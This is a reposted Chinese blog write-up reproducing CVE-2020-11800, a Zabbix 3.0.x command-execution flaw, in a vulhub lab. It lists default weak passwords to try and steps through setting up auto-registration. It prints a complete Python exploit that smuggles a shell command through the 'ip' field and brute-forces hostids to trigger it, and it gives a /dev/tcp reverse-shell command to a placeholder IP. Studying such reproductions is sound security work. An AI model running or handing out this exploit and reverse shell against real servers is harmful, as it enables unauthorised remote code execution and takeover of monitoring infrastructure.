漏洞復現-CVE-2020-11800-zabbix命令執行


 
 
 
 

0x00 實驗環境

攻擊機:Win 10

靶機也可作為攻擊機:Ubuntu18 (docker搭建的vulhub靶場)

 

0x01 影響版本

影響版本:Zabbix 3.0.x~3.0.30

漏洞簡介:

zabbix是一個基於WEB界面的提供分布式系統監視以及網絡監視功能的企業級的開源解決方案。

zabbix能監視各種網絡參數,保證服務器系統的安全運營;並提供靈活的通知機制以讓系統管理員快速定位/解決存在的各種問題。

zabbix由2部分構成,zabbix server與可選組件zabbix agent。

zabbix server可以通過SNMP,zabbix agent,ping,端口監視等方法提供對遠程服務器/網絡狀態的監視,數據收集等功能,它可以運行在Linux,Solaris,HP-UX,AIX,Free BSD,Open BSD,OS X等平台。

 

0x02 漏洞復現

(1)訪問頁面:

 

 (2)猜測弱口令:("admin","zabbix"),("Admin","zabbix"),("guest","")

 

 (3)進入Configuration->Actions,將Event source調整為Auto registration,然后點擊Create action,創建一個Action,名字隨意

 

 

 

 

 (4)然后點擊Operation,創建一個Operation,type為“Add Host”:然后保存

 

 (5)點擊“add”,添加成功:

 

 (6)這樣就開啟了自動注冊功能,在下載的vulhub中漏洞目錄有漏洞利用腳本,查看poc可以看到執行的是寫入文件的操作,使用python3執行poc,進入docker中查看寫入成功

import sys
import socket
import json
import sys


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    data = conn.recv(2048)
    conn.close()
    return data


target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
for i in range(10000, 10500):
    data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
    if data and b'failed' not in data:
        print('hostid: %d' % i)
        print(data)

上面的命令中,我們將 "touch /tmp/success2" 換成別的命令即可:

反彈shell的命令
/bin/bash -i > /dev/tcp/xx.xx.xx.xx/8899 0<&1 2>&1

 

(7)然后執行該exp,同時需要監聽好你payload的端口(8899):

俺也不知道為啥彈不回來,改天再研究一下。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM